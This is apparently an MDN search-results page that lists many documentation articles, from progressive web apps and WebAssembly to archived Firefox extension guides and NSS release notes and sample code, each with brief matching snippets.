server-side rendering (ssr) means a website is rendered on the server, so it offers quicker first load, but navigating between pages requires downloading new html content.
... it works great across browsers, but it suffers in terms of time navigating between pages and therefore general perceived performance — loading a page requires a new round trip to the server.
...there is also a new approach involving the streams api, which we'll mention briefly.
...And 4 more matches
Introduction to progressive web apps - Progressive web apps (PWAs)
it's not a brand new concept—such ideas have been revisited many times on the web platform with various approaches in the past.
...they represent a new philosophy for building web apps, involving some specific patterns, apis, and other features.
... re-engageable, so it's able to send notifications whenever there's new content available.
...And 4 more matches
How to make PWAs re-engageable using Notifications and Push - Progressive web apps (PWAs)
but instead of relying only on user actions, we can do more, using push messages and notifications to automatically re-engage and deliver new content whenever it is available.
...push is used to deliver new content from the server to the app without any client-side intervention, and its operation is handled by the app's service worker.
... notifications can be used by the service worker to show new information to the user, or at least alert them when something has been updated.
...And 4 more matches
Structural overview of progressive web apps - Progressive web apps (PWAs)
server-side rendering (ssr) means a website is rendered on the server, so it offers quicker first load, but navigating between pages requires downloading new html content.
... it works great across browsers, but it suffers in terms of time navigating between pages and therefore general perceived performance — loading a page requires a new round trip to the server.
...there is also a new approach involving the streams api, which we'll mention briefly.
...And 4 more matches
Loading and running WebAssembly code - WebAssembly
this is analogous to new function(string), except that we are substituting a string of characters (javascript source code) with an array buffer of bytes (webassembly source code).
... the newer webassembly.compilestreaming/webassembly.instantiatestreaming methods are a lot more efficient — they perform their actions directly on the raw stream of bytes coming from the network, cutting out the need for the arraybuffer step.
... the quickest, most efficient way to fetch a wasm module is using the newer webassembly.instantiatestreaming() method, which can take a fetch() call as its first argument, and will handle fetching, compiling, and instantiating the module in one step, accessing the raw byte code as it streams from the server: webassembly.instantiatestreaming(fetch('simple.wasm'), importobject) .then(results => { // do something with the results!
...And 4 more matches
places/bookmarks - Archive of obsolete content
examples creating a new bookmark let { bookmark, save } = require("sdk/places/bookmarks"); // create a new bookmark instance, unsaved let bookmark = bookmark({ title: "mozilla", url: "http://mozilla.org" }); // attempt to save the bookmark instance to the bookmarks database // and store the emitter let emitter = save(bookmark); // listen for events emitter.on("data", function (saved, inputitem) { // on a "data" ev...
...em as `inputitem` console.log(saved.title === inputitem.title); // true console.log(saved !== inputitem); // true console.log(inputitem === bookmark); // true }).on("end", function (saveditems, inputitems) { // similar to "data" events, except "end" is an aggregate of // all progress events, with ordered arrays as `saveditems` // and `inputitems` }); creating several bookmarks with a new group let { bookmark, group, save } = require("sdk/places/bookmarks"); let group = group({ title: "guitars" }); let bookmarks = [ bookmark({ title: "ran", url: "http://ranguitars.com", group: group }), bookmark({ title: "ibanez", url: "http://ibanez.com", group: group }), bookmark({ title: "esp", url: "http://espguitars.com", group: group }) ]; // save `bookmarks` array -- notice we don'...
... let { bookmark, group } = require("sdk/places/bookmarks"); let mygroup = group({ title: "my group" }); let mybookmark = bookmark({ title: "moz", url: "http://mozilla.com", group: mygroup }); save(mybookmark).on("data", function (item, inputitem) { // the `data` event returns the latest snapshot from the // host, so this is a new instance of the bookmark item, // where `item !== mybookmark`.
...And 3 more matches
cfx - Archive of obsolete content
cfx init create a new directory called "my-addon", change into it, and run cfx init.
... cfx run runs the host application with a new profile.
... this flag is particularly useful for sdk developers or people working with the development version of the sdk, who may want to run an add-on using newer versions of the modules than than those shipping in firefox.
...And 3 more matches
Listening to events in Firefox extensions - Archive of obsolete content
some of the more interesting dom events you may wish to monitor are listed here: event description domlinkadded dispatched when a new html <link> element is detected in the document.
... pageshow dispatched when a page is newly displayed.
... if the page contains scripts or other behaviors that fire during loading that you want to continue to execute every time the user navigates to the page, or if you want to know when a user has navigated to a cached page, use the new pageshow event.
...And 3 more matches
Appendix D: Loading Scripts - Archive of obsolete content
this means that code must be compiled and executed anew each time it is loaded, which has a significant overhead for large code bases.
... although wary authors can choose to cache instances of their modules so that modules are loaded only once globally, this method can be easily misused to re-load scripts for each new window where they would be better loaded only once globally per session.
...the script will execute in the same security context as the current script and will have access to the same globals, but any new globals it creates will be accessible only to the script itself.
...And 3 more matches
JavaScript Object Management - Archive of obsolete content
} // more stuff }; window.addeventlistener( "load", function() { 〈namespace〉.browseroverlay.init(); }, false); there are some things you can't (or shouldn't) do inside load handlers, such as closing the window being loaded, or opening new windows, alerts or dialogs.
...now open a new window and display the message from the new window.
... you probably didn't expect this, but the count was reset in the new window.
...And 3 more matches
Search Extension Tutorial (Draft) - Archive of obsolete content
if (localized) value = "data:text/plain," + encodeuricomponent(name + "=" + value.replace(/ /g, "\\u0020")); // save the original and new values.
... savedprefs[name] = [defaultprefs.getcharpref(name), value]; // change the default defaultprefs.setcharpref(name, value); // clear the user value if this is the first run, or the // new default is the same as the user value.
... for (let [name, [origvalue, value]] in iterator(savedprefs)) { if (defaultprefs.getcharpref(name) == value) defaultprefs.setcharpref(name, origvalue); } } function install() {} function uninstall() {} changing the default search engine this change comes in two parts: 1) installing a new search engine (and removing it when your extension is disabled), and 2) setting it as a default (and restoring the previous default when your extension is uninstalled).
...And 3 more matches
Adding preferences to an extension - Archive of obsolete content
however, we do need to add one new line to the install.rdf file: <em:optionsurl>chrome://stockwatcher2/content/options.xul</em:optionsurl> this line establishes the url of the xul file that describes the options dialog.
... establish the defaults in order to set a default preference for the stock to monitor, we need to add a new folder to our extension's package, called "defaults", which in turn contains another folder called "preferences".
... once we've gotten the updated preference, we call refreshinformation() to immediately update the display with the new stock's information.
...And 3 more matches
Creating a status bar extension - Archive of obsolete content
some of the samples in this series may be similar to samples you've seen elsewhere, but the goal of this series of articles is to help compile information for new extension developers into one place to make it easy to jump in and get started.
...if it won't work in older versions of firefox, or hasn't been tested on newer versions, you can restrict the extension so that only supported versions of the target application will attempt to use it.
...an overlay lets you add new content to an existing document.
...And 3 more matches
Drag and Drop JavaScript Wrapper - Archive of obsolete content
« previousnext » gecko 1.9.1 (firefox 3.5) and later supports a newer and simpler api.
...var textobserver = { ondragstart: function (event, transferdata, action) { var htmltext = "<strong>cabbage</strong>"; var plaintext = "cabbage"; transferdata.data = new transferdata(); transferdata.data.adddataforflavour("text/html",htmltext); transferdata.data.adddataforflavour("text/unicode",plaintext); } } here, an observer has been declared and stored in the variable textobserver.
...var textobserver = { ondragstart: function (event) { var txt = event.target.getattribute("label"); transferdata.data = new transferdata(); transferdata.data.adddataforflavour("text/unicode",txt); } } this might be useful when implementing drag and drop for cells in a tree.
...And 3 more matches
Hidden prefs - Archive of obsolete content
the default (defined in mailnews.js) is: pref("mail.addr_book.mapit_url.format", "http://www.mapquest.com/maps/map.adp...st&zipcode=@zi"); addressbook quick search query pref ("mail.addr_book.quicksearchquery.format" ) the format for this pref is: @v == the escaped value typed in the quick search bar in the addressbook every occurance of @v will be replaced.
...the default (defined in mailnews.js) is: pref("mail.addr_book.quicksearchquery.format","?(or(primaryemail,c,@v)(displayname,c,@v)(firstname,c,@v)(lastname,c,@v))"); "and", "or" and "not" are valid.
...mail composition "other header" pref ("mail.compose.other.header") the format for this a comma delimited list of mail headers, like "approved,x-no-archive" an example for your prefs.js would be: user_pref("mail.compose.other.header", "approved"); this will cause "approved" to show up in the compose window address picker, under to:, cc:, bcc:, newsgroup:, etc.
...And 3 more matches
The Joy of XUL - Archive of obsolete content
xbl the extensible bindings language (xbl) is a markup language that defines special new elements, or "bindings" for xul widgets.
... with xbl, developers can define new content for xul widgets, add additional event handlers to a xul widget, and add new interface properties and methods.
... essentially, xbl empowers developers with the ability to extend xul by customizing existing tags and creating new tags of their own.
...And 3 more matches
XML - Archive of obsolete content
lots of people have created new languages out of xml.
...those authors may be people or machines, but they must use the new language if the readers are to understand what sort of data it is they are reading.
...in fact, let's create a new xml-based language right now called "memoml".
...And 3 more matches
listbox - Archive of obsolete content
for richlistbox, this is new in firefox 3.5.
... appenditem( label, value ) return type: element creates a new item and adds it to the end of the existing list of items.
...the function returns the newly created element.
...And 3 more matches
richlistbox - Archive of obsolete content
for richlistbox, this is new in firefox 3.5.
... appenditem( label, value ) return type: element creates a new item and adds it to the end of the existing list of items.
...the function returns the newly created element.
...And 3 more matches
calICalendarViewController - Archive of obsolete content
interface code [scriptable, uuid(1f783898-f4c2-4b2d-972e-360e0de38237)] interface calicalendarviewcontroller : nsisupports { void createnewevent (in calicalendar acalendar, in calidatetime astarttime, in calidatetime aendtime); void modifyoccurrence (in caliitemoccurrence aoccurrence, in calidatetime anewstarttime, in calidatetime anewendtime); void deleteoccurrence (in caliitemoccurrence aoccurrence); }; methods createnewevent void createnewevent (in calicalendar acalendar, ...
... in calidatetime astarttime, in calidatetime aendtime); the createnewevent method is used for creating a new calievent in the calicalendar specified by the acalendar parameter.
... modifyoccurrence void modifyoccurrence (in caliitemoccurrence aoccurrence, in calidatetime anewstarttime, in calidatetime anewendtime); the modifyoccurrence method is used to change the attributes of an already existing caliitem.
...And 3 more matches
Extentsions FAQ - Archive of obsolete content
var newnode = document.createelement(" ...
..."); var replaceme = document.getelementbyid("replaceme"); replaceme.parentnode.replacechild(newnode, replaceme); is it possible to place an image in the window that can be moved to anywhere in the window, and always remain on top of everything else?(similiar to using position:absolute and-index:100000 in html) you can almost do this with a stack: <window ...> <stack flex="1"> <image top="40" left="80"/> <vbox> other content here </vbox> </stack> </window> the only restriction is that your image can't overlap the right or bottom of the window.
... is it possible to open the url in a new tab?
...And 3 more matches
Using workers in extensions - Archive of obsolete content
rker.js, is shown here: var symbol = ""; function refreshinformation() { if (!symbol) { throw "no symbol set!"; } var fullurl = "http://quote.yahoo.com/d/quotes.csv?f=sl1d1t1c1ohgv&e=.csv&s=" + symbol; function inforeceived() { var output = httprequest.responsetext; if (output) { postmessage(output.trim()); } httprequest = null; } var httprequest = new xmlhttprequest(); httprequest.open("get", fullurl, true); httprequest.onload = inforeceived; httprequest.send(null); } setinterval(function() { refreshinformation(); }, 10*60*1000); onmessage = function(event) { if (event.data) { symbol = event.data.touppercase(); } refreshinformation(); } when the worker thread is started, the main body of this code (in lines 26-35) is execu...
... of preference changes this.prefs = components.classes["@mozilla.org/preferences-service;1"] .getservice(components.interfaces.nsiprefservice) .getbranch("stockwatcher2."); this.prefs.queryinterface(components.interfaces.nsiprefbranch2); this.prefs.addobserver("", this, false); this.tickersymbol = this.prefs.getcharpref("symbol").touppercase(); this.worker = new worker("chrome://stockwatcher2/content/ticker_worker.js"); // small little dance to get 'this' to refer to stockwatcher, not the // worker, when a message is received.
... var self = this; this.worker.onmessage = function(event) { self.onworkermessage.call(self, event); }; this.worker.postmessage(this.tickersymbol); }, the worker is set up and configured here in lines 13-22: line 13 instantiates a new worker, specifying the uri of the ticker_worker.js file.
...And 3 more matches
Archived JavaScript Reference - Archive of obsolete content
this property has been removed and no longer works.array comprehensionsthe array comprehension syntax was a javascript expression which allowed you to quickly assemble a new array based on an existing one.
...you can use the more general proxy object instead.arraybuffer.transfer()the static arraybuffer.transfer() method returns a new arraybuffer whose contents have been taken from the oldbuffer's data and then is either truncated or zero-extended by newbytelength.
... if newbytelength is undefined, the bytelength of the oldbuffer is used.
...And 3 more matches
Windows Media in Netscape - Archive of obsolete content
client-side detection using javascript objects internet explorer implements the activexobject object to create new instances of activex controls.
...here is a code snippet that shows this: var player; try { if (window.activexobject) { player = new activexobject("mediaplayer.mediaplayer.1"); } else if (window.geckoactivexobject) { player = new geckoactivexobject("mediaplayer.mediaplayer.1"); } else { // plugin code using navigator.mimetypes player = navigator.mimetypes["application/x-mplayer2"].enabledplugin; } } catch(e) { // handle error -- no wmp control // download: http://www.microsoft.com/windows/windowsmedia/d...
...for the sake of brevity, we've made the following code snippet shorter to illustrate the relevant points about the api: var player; try { if(window.activexobject) { player = new activexobject("wmplayer.ocx.7"); } else if (window.geckoactivexobject) { player = new geckoactivexobject("wmplayer.ocx.7"); } } catch(e) { // handle error -- no wmp 7 or 9 control // can use wmp 6 also if necessary, but this is legacy software nowadays } if (player) { // windows media player control exists and it is version 7 or 9 // can use wmp 7 or 9 api -- call versioninfo pro...
...And 3 more matches
Obsolete: XPCOM-based scripting for NPAPI plugins - Archive of obsolete content
it does not cover netscape 6 and 6.01 introduction plugins that used to take advantage of being scriptable via liveconnect in 4.x netscape browsers lost this possibility in the new world.
...the new mozilla xpcom architecture allows xpcom components be scriptable via a different mechanism called xpconnect.
...so the plugin project should be aware of two new additions to nppvariable enumeration type which are now defined in npapi.h as: nppvpluginscriptableinstance = 10, nppvpluginscriptableiid = 11 and two analogous additions to nsplugininstancevariable type in nsplugindefs.h as: nsplugininstancevariable_scriptableinstance = 10, nsplugininstancevariable_scriptableiid = 11 what's in the plugin code?
...And 3 more matches
GLSL Shaders - Game development
before reading on, copy this code to a new text file and save it in your working directory as index.html.
... both projectionmatrix and modelviewmatrix are provided by three.js and the vector is passed with the new 3d position, which results in the original cube moving 10 units along the x axis and 5 units along the z axis, translated via a shader.
... applying the shaders to actually apply the newly created shaders to the cube, comment out the basicmaterial definition first: // var basicmaterial = new three.meshbasicmaterial({color: 0x0095dd}); then, create the shadermaterial: var shadermaterial = new three.shadermaterial( { vertexshader: document.getelementbyid( 'vertexshader' ).textcontent, fragmentshader: document.getelementbyid( 'fragmentshader' ).textcontent }); this shader ma...
...And 3 more matches
WAI-ARIA basics - Learn web development
a whole new set of problems as web apps started to get more complex and dynamic, a new set of accessibility features and problems started to appear.
...once that is done, we start up a setinterval() loop that loads a new random quote into the quote box every 10 seconds: let intervalid = window.setinterval(showquote, 10000); this works ok, but it is not good for accessibility — the content update is not detected by screenreaders, so their users would not know what is going on.
... in terms of making non-focusable code focusable, wai-aria extends the tabindex attribute with some new values: tabindex="0" — as indicated above, this value allows elements that are not normally tabbable to become tabbable.
...And 3 more matches
Debugging CSS - Learn web development
load this up in a new tab if you want to follow along, and open up your devtools as described in the article linked above.
... the dom versus view source something that can trip up newcomers to devtools is the difference between what you see when you view the source of a webpage, or look at the html file you put on the server, and what you can see in the html pane of the devtools.
... adding a new property you can add properties using the devtools.
...And 3 more matches
Legacy layout methods - Learn web development
for new projects, in most cases css grid layout will be used in combination with one or more other modern layout methods to form the basis for any layout.
...this knowledge will be helpful to you if you need to create fallback code for browsers that do not support newer methods, in addition to allowing you to work on existing projects which use these types of systems.
...you can follow along by creating a new index.html file on your computer, filling it with a simple html template, and inserting the below code into it at the appropriate places.
...And 3 more matches
HTML table basics - Learn web development
LearnHTMLTablesBasics
first of all, make a local copy of blank-template.html and minimal-table.css in a new directory on your local machine.
... first, make a local copy of our dogs-table.html and minimal-table.css files in a new directory on your local machine.
... first, make a local copy of our animals-table.html and minimal-table.css files in a new directory on your local machine.
...And 3 more matches
Choosing the right approach - Learn web development
single delayed operation repeating operation multiple sequential operations multiple simultaneous operations no yes (recursive callbacks) yes (nested callbacks) no code example an example that loads a resource via the xmlhttprequest api (run it live, and see the source): function loadasset(url, type, callback) { let xhr = new xmlhttprequest(); xhr.open('get', url); xhr.responsetype = type; xhr.onload = function() { callback(xhr.response); }; xhr.send(); } function displayimage(blob) { let objecturl = url.createobjecturl(blob); let image = document.createelement('img'); image.src = objecturl; document.body.appendchild(image); } loadasset('coffee.jpg', 'blob', displayimage); pitfalls neste...
... single delayed operation repeating operation multiple sequential operations multiple simultaneous operations no yes no (unless it is the same one) no code example the following function creates a new date() object, extracts a time string out of it using tolocaletimestring(), and then displays it in the ui.
... we then run it once per second using setinterval(), creating the effect of a digital clock that updates once per second (see this live, and also see the source): function displaytime() { let date = new date(); let time = date.tolocaletimestring(); document.getelementbyid('demo').textcontent = time; } const createclock = setinterval(displaytime, 1000); pitfalls the frame rate isn't optimized for the system the animation is running on, and can be somewhat inefficient.
...And 3 more matches
Working with JSON - Learn web development
add the following at the bottom of your javascript code: let requesturl = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json'; to create a request, we need to create a new request object instance from the xmlhttprequest constructor, using the new keyword.
... add the following below your last line: let request = new xmlhttprequest(); now we need to open the request using the open() method.
...teelement('li'); listitem.textcontent = superpowers[j]; mylist.appendchild(listitem); } myarticle.appendchild(myh2); myarticle.appendchild(mypara1); myarticle.appendchild(mypara2); myarticle.appendchild(mypara3); myarticle.appendchild(mylist); section.appendchild(myarticle); } } to start with, we store the members property of the javascript object in a new variable.
...And 3 more matches
Ember Interactivity: Footer functionality, conditional rendering - Learn web development
enter the following terminal command to do so: ember generate component-class footer next, go and find the newly-created todomvc/app/components/footer.js file and update it to the following: import component from '@glimmer/component'; import { inject as service } from '@ember/service'; export default class footercomponent extends component { @service('todo-data') todos; } now we need to go back to our todo-data.js file and add some functionality that will allow us to return the number of incom...
... finally, we need to make use of this new functionality in our footer.hbs template.
... add the following new getter to todo-data.js, just below the existing getters.
...And 3 more matches
Deployment and next steps - Learn web development
a look behind the svelte compilation process by default, when you create a new app with npx degit sveltejs/template my-svelte-project, svelte will use rollup as the module bundler.
... first you'll have to register at gitlab and then create a new project.
... give you new project a short, easy name like "mdn-svelte-todo".
...And 3 more matches
Getting started with Svelte - Learn web development
svelte: a new approach to building rich user interfaces svelte provides a different approach to building web apps than some of the other frameworks covered in this module.
... you can see this in action by opening localhost:5000 in a new browser tab, right/ctrl-clicking on the hello world!
... in svelte, reactivity is triggered simply by assigning a new value to any top level variable in a component.
...And 3 more matches
Understanding client-side JavaScript frameworks - Learn web development
as an aspiring front-end developer, it can be hard to work out where to begin when learning frameworks — there are so many different frameworks to choose from, new ones appear all the time, they mostly work in a similar way but do some things differently, and there are some specific things to be careful about when using frameworks.
...ember interactivity: events, classes and state at this point we'll start adding some interactivity to our app, providing the ability to add and display new todo items.
...in this article, we'll look at a little bit of vue background, learn how to install it and create a new project, study the high-level structure of the whole project and an individual component, see how to run the project locally, and get it prepared to start building our example.
...And 3 more matches
Embedding API for Accessibility
a reframe fixes the appearance of the page to match the new prefs, without reloading the document over the network.
... be aware that in debug builds, this can cause a great number of assertions (bug 71598) to use prefs in embedding, use something like the following code: #include "nsipref.h"; nsresult rv; nscomptr<nsipref> prefs(do_getservice(ns_pref_contractid, &rv)); prefs->setboolpref("bool.pref.name", pr_true /* or pr_false */); prefs->setintpref("int.pref.name", newvalue); prefs->setcharpref("string.pref.name", newcharstarvalue); to manually add a pref to your settings, add a line like the following to your prefs.js: user_pref("accessibility.browsewithcaret", true); accessibility prefs reference the following is a description of what accessibility prefs give us (or will give us), for accessibility: functionality implementation works as of ...
... setintpref("network.cookie.cookiebehavior", behavior); /* behavior: 0=accept, 1=accept cookies from originating server only, 2=no cookies */ setboolpref("network.cookie.warnaboutcookies", boolwarn); moz 0.8 fonts setcharpref("font.name.monospace.x-western", newfontname); setcharpref("font.name.serif.x-western", newfontname); setcharpref("font.name.sans-serif.x-western", newfontname); /* for other i18n charsets, change x-western to x-central-euro, x-cyrillic, x-unicode, x-user-def, x-baltic, el, tr, he, ar, th, ja, zh-cn or zh-tw */ setint...
...And 3 more matches
Testopia
the good news is that the current code in the git repository already works with bugzilla 5.0, and so if you upgraded to 5.0 already, and if you don't mind having a work-in-progress extension on your machine, you can decide to pull the code from the git repository.
... testopia 2.5 this versions supports bugzilla 4.2 and 4.4, and the best news is that it no longer requires a patch for bugzilla.
...if you have made modifications to the testopia source code, you will need to merge them into the new testopia folder (capital t).
...And 3 more matches
Index
10 firefox ui considerations for web developers activity stream, firefox, icons, mozilla, new tab, newtab, ui, web, web development, favicon there are a number of places within the firefox user interface where web sites are listed for the user to choose a destination to visit or a site to manage in some way.
... one example is the new tab page, which includes a "top sites" section showing sites you visit that firefox thinks you're likely to want to visit again, as well as potentially some sites that have been pinned to always appear in that space.
... 170 storage access policy: block cookies from trackers privacy, storage access policy, tracking protection firefox includes a new storage access policy that blocks cookies and other site data from third-party tracking resources.
...And 3 more matches
How to implement a custom autocomplete search component
a newer and slightly simplified mechanism that is used in "toolkit" applications such as firefox and xulrunner.
...sult * * @param searchstring the string to search for * @param searchparam an extra parameter * @param previousresult a previous result to use for faster searchinig * @param listener the listener to notify when the search is complete */ startsearch: function(searchstring, searchparam, previousresult, listener) { var results = ['mary', 'john']; var autocomplete_result = new providerautocompleteresult(searchstring, ci.nsiautocompleteresult.result_success, 0, "", results, null); listener.onsearchresult(this, autocomplete_result); }, /** * stops an asynchronous search that is in progress */ stopsearch: function() { }, queryinterface: xpcomutils.generateqi([ ci.nsiautocompletesearch ]) }; // the following line is what xpcom uses to create...
...to do so put the following declaration in your chrome.manifest file: component {x753d830-ba1e-11e0-962b-0800200c9a66} components/basic_autocomplete.js contract @mozilla.org/autocomplete/search;1?name=basic-autocomplete {x753d830-ba1e-11e0-962b-0800200c9a66} and finally use this newly available component in a xul file like this: <textbox id="text1" type="autocomplete" autocompletesearch="basic-autocomplete"/> that's it!
...And 3 more matches
IPDL Tutorial
to experiment with adding a new ipdl protocol, see creating a new protocol.
... when creating a plugin instance, the browser should block until instance creation is finished, and needs some information returned from the plugin: sync protocol pplugininstance { child: sync init() returns (bool windowless, bool ok); }; we added two new keywords to the plugin protocol, sync and returns.
...a quick summary of the difference between rpc and sync semantics is that rpc allows "re-entrant" message handlers: while an actor is blocked waiting for an "answer" to an rpc "call", it can be unblocked to handle a new, incoming rpc call.
...And 3 more matches
CustomizableUI.jsm
there are three main types of widgets: 'legacy' xul widgets, which are the way customizableui represents widgets whose dom representation is present (or overlaid) into a window; api-style widgets, which are the new widgets customizableui can create and manage for you.
... onwidgetmoved(awidgetid, aarea, aoldposition, anewposition) fired when a widget is moved within its area.
... awidgetid is the widget that was moved, aarea the area it was moved in, aoldposition its old position, and anewposition its new position.
...And 3 more matches
NetUtil.jsm
method overview nsiasyncstreamcopier asynccopy(nsiinputstream asource, nsioutputstream asink, [optional] acallback) void asyncfetch(asource, acallback) nsichannel newchannel(awhattoload, [optional] aorigincharset, [optional] nsiuri abaseuri) nsiuri newuri(atarget, [optional] aorigincharset, [optional] nsiuri abaseuri) string readinputstreamtostring(ainputstream, acount, aoptions) attributes attribute type description ioservice nsiioservice returns a reference to nsiioservice.
... newchannel() creates a new channel for the specified uri string, nsiuri, or nsifile.
... nsichannel newchannel( awhattoload, [optional] aorigincharset, [optional] abaseuri ); parameters return value an nsichannel allowing access to the specified data source.
...And 3 more matches
Initial setup
new or existing before anything else, you need to know if you will be creating a new localization or joining an existing one.
... if a community doesn't exist, send an email to the new-locales newsgroup for additional guidance.
...add a request about creating your locale's repository to the new locales newsgroup.
...And 3 more matches
NSPR Poll Method
print16 new_flags, out_flags; if you are going to call pr_recv, pass pr_poll_read as the in_flags argument.
... new_flags = fd->methods->poll(fd, pr_poll_read, &out_flags); if you are going to call pr_send, pass pr_poll_write as the in_flags argument.
... new_flags = fd->methods->poll(fd, pr_poll_write, &out_flags); if you are interested in calling both pr_recv and pr_send on the same file descriptor, make two separate calls to the poll method, one with pr_poll_read as in_flags and the other with pr_poll_write as in_flags, so that you know what events at the network transport layer pr_poll_read and pr_poll_write are mapped to, respectively.
...And 3 more matches
PR_OpenTCPSocket
creates a new tcp socket of the specified address family.
... syntax #include <prio.h> prfiledesc* pr_opentcpsocket(printn af); parameters the function has the following parameters: af the address family of the new tcp socket.
... returns the function returns one of the following values: upon successful completion, a pointer to the prfiledesc object created for the newly opened tcp socket.
...And 3 more matches
NSS 3.17.1 release notes
nss 3.17.1 requires nspr 4.10.7 or newer.
... new in nss 3.17.1 this patch release adds new functionality and fixes a bug that caused nss to accept forged rsa signatures.
... a new symbol, _sgn_verifypkcs1digestinfo is exported in this release.
...And 3 more matches
NSS 3.18 release notes
nss 3.18 requires nspr 4.10.8 or newer.
... nss 3.18 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_18_rtm/src/ new in nss 3.18 new functionality when importing certificates and keys from a pkcs#12 source, it's now possible to override the nicknames, prior to importing them into the nss database, using new api sec_pkcs12decoderrenamecertnicknames.
... the tstclnt test utility program has new command-line options -c, -d, -b and -r.
...And 3 more matches
NSS 3.21 release notes
nss 3.21 requires nspr 4.10.10 or newer.
... new in nss 3.21 new functionality certutil now supports a --rename option to change a nickname (bug 1142209) tls extended master secret extension (rfc 7627) is supported (bug 1117022) new info functions added for use during mid-handshake callbacks (bug 1084669) new functions in nss.h nss_optionset - sets nss global options nss_optionget - gets the current value of nss global options in secmod.h secmod_createmoduleex - create a new secmodmodule structure from modu...
...the difference with secmod_createmodule is the new function handles nss configuration parameter strings.
...And 3 more matches
NSS 3.45 release notes
nss 3.45 requires nspr 4.21 or newer.
... new in nss 3.45 new functionality new functions in pk11pub.h: pk11_findrawcertswithsubject - finds all certificates on the given slot with the given subject distinguished name and returns them as der bytes.
... notable changes in nss 3.45 bug 1540403 - implement delegated credentials (draft-ietf-tls-subcerts) this adds a new experimental function: ssl_delegatecredential note: in 3.45, selfserv does not yet support delegated credentials.
...And 3 more matches
NSS API Guidelines
nss api guidelines newsgroup: mozilla.dev.tech.crypto introduction this document describes how the nss code is organized, the libraries that get built from the nss sources, and guidelines for writing nss code.
...it should also help you understand how to write new code, and where to place it.
...r lib/util base64.h, ciferfam.h, nssb64.h, nssb64t.h, nsslocks.h, nssrwlk.h, nssrwlkt.h, portreg.h, pqgutil.h, secasn1.h, secasn1t.h, seccomon.h, secder.h, secdert.h, secdig.h, secdigt.h, secitem.h, secoid.h, secoidt.h, secport.h, secrng.h, secrngt.h, secerr.h, watcomfx.h naming conventions this section describes the rules that (ideally) should be followed for naming and identifying new files, functions, and data types.
...And 3 more matches
NSS Developer Tutorial
the proper use of tabs has often been confusing for new nss developers, so in nss/lib/ssl, we're gradually removing the use of tabs.
...in new code, prefer the former style, as it conserves vertical space.
... under certain circumstances, it is safe to add new members to an exported struct at the end.
...And 3 more matches
NSS Sample Code Sample1
as an alternative, new keys may be sent to the // current set of secondary hosts when they are generated by the // primary.
...the primary host generates a new symmetric key.
...the primary host wraps the newly generated key using the // rsa key and stores the wrapped key data in a local file.
...And 3 more matches
NSS Sample Code Sample_2_Initialization of NSS
"the password should be at least 8 characters long,\n" "and should contain at least one non-alphabetic character.\n\n"); output = fopen("/dev/tty", "w"); if (output == null) { pr_fprintf(pr_stderr, "error opening output terminal for write\n"); return null; } for (;;) { if (p0) port_free(p0); p0 = getpassword(input, output, "enter new password: ", checkpassword); if (p1) port_free(p1); p1 = getpassword(input, output, "re-enter password: ", checkpassword); if (p0 && p1 && !port_strcmp(p0, p1)) { break; } pr_fprintf(pr_stderr, "passwords do not match.
... try again.\n"); } /* clear out the duplicate password string */ if (p1) { port_memset(p1, 0, port_strlen(p1)); port_free(p1); } fclose(input); fclose(output); return p0; } /* change the password */ secstatus changepw(pk11slotinfo *slot, char *oldpass, char *newpass, char *oldpwfile, char *newpwfile) { secstatus rv; secupwdata pwdata; secupwdata newpwdata; char *oldpw = null; char *newpw = null; if (oldpass) { pwdata.source = pw_plaintext; pwdata.data = oldpass; } else if (oldpwfile) { pwdata.source = pw_fromfile; pwdata.data = oldpwfile; } else { pwdata.source = pw_none; pwdata.data = null; } if (newpass) { newpwdata.source = pw_...
...plaintext; newpwdata.data = newpass; } else if (newpwfile) { newpwdata.source = pw_fromfile; newpwdata.data = null; } else { newpwdata.source = pw_none; newpwdata.data = null; } if (pk11_needuserinit(slot)) { newpw = initslotpassword(slot, pr_false, &pwdata); rv = pk11_initpin(slot, (char*)null, newpw); } else { for (;;) { oldpw = getmodulepassword(slot, pr_false, &pwdata); if (pk11_checkuserpassword(slot, oldpw) != secsuccess) { if (pwdata.source == pw_none) { pr_fprintf(pr_stderr, "invalid password.
...And 3 more matches
Initialize NSS database - sample 2
"the password should be at least 8 characters long,\n" "and should contain at least one non-alphabetic character.\n\n"); output = fopen("/dev/tty", "w"); if (output == null) { pr_fprintf(pr_stderr, "error opening output terminal for write\n"); return null; } for (;;) { if (p0) port_free(p0); p0 = getpassword(input, output, "enter new password: ", checkpassword); if (p1) port_free(p1); p1 = getpassword(input, output, "re-enter password: ", checkpassword); if (p0 && p1 && !port_strcmp(p0, p1)) { break; } pr_fprintf(pr_stderr, "passwords do not match.
... try again.\n"); } /* clear out the duplicate password string */ if (p1) { port_memset(p1, 0, port_strlen(p1)); port_free(p1); } fclose(input); fclose(output); return p0; } /* * changepw */ secstatus changepw(pk11slotinfo *slot, char *oldpass, char *newpass, char *oldpwfile, char *newpwfile) { secstatus rv; secupwdata pwdata; secupwdata newpwdata; char *oldpw = null; char *newpw = null; if (oldpass) { pwdata.source = pw_plaintext; pwdata.data = oldpass; } else if (oldpwfile) { pwdata.source = pw_fromfile; pwdata.data = oldpwfile; } else { pwdata.source = pw_none; pwdata.data = null; } if (newpass) { newpwdata.source = pw_plaintext; ...
... newpwdata.data = newpass; } else if (newpwfile) { newpwdata.source = pw_fromfile; newpwdata.data = null; } else { newpwdata.source = pw_none; newpwdata.data = null; } if (pk11_needuserinit(slot)) { newpw = initslotpassword(slot, pr_false, &pwdata); rv = pk11_initpin(slot, (char*)null, newpw); if (rv == secsuccess) { pr_fprintf(pr_stderr, "pk11_initpin failed.\n"); return secfailure; } } else { for (;;) { oldpw = getmodulepassword(slot, pr_false, &pwdata); if (pk11_checkuserpassword(slot, oldpw) != secsuccess) { if (pwdata.source == pw_none) { pr_fprintf(pr_stderr, "invalid password.
...And 3 more matches
NSS PKCS11 Functions
secmod_loadusermodule secmod_unloadusermodule secmod_openuserdb secmod_closeuserdb pk11_findcertfromnickname pk11_findkeybyanycert pk11_getslotname pk11_gettokenname pk11_ishw pk11_ispresent pk11_isreadonly pk11_setpasswordfunc secmod_loadusermodule load a new pkcs #11 module based on a modulespec.
... description secmod_loadusermodule loads a new pkcs #11 module into nss and connects it to the current nss trust infrastructure.
... secmod_openuserdb open a new database using the softoken.
...And 3 more matches
Necko walkthrough
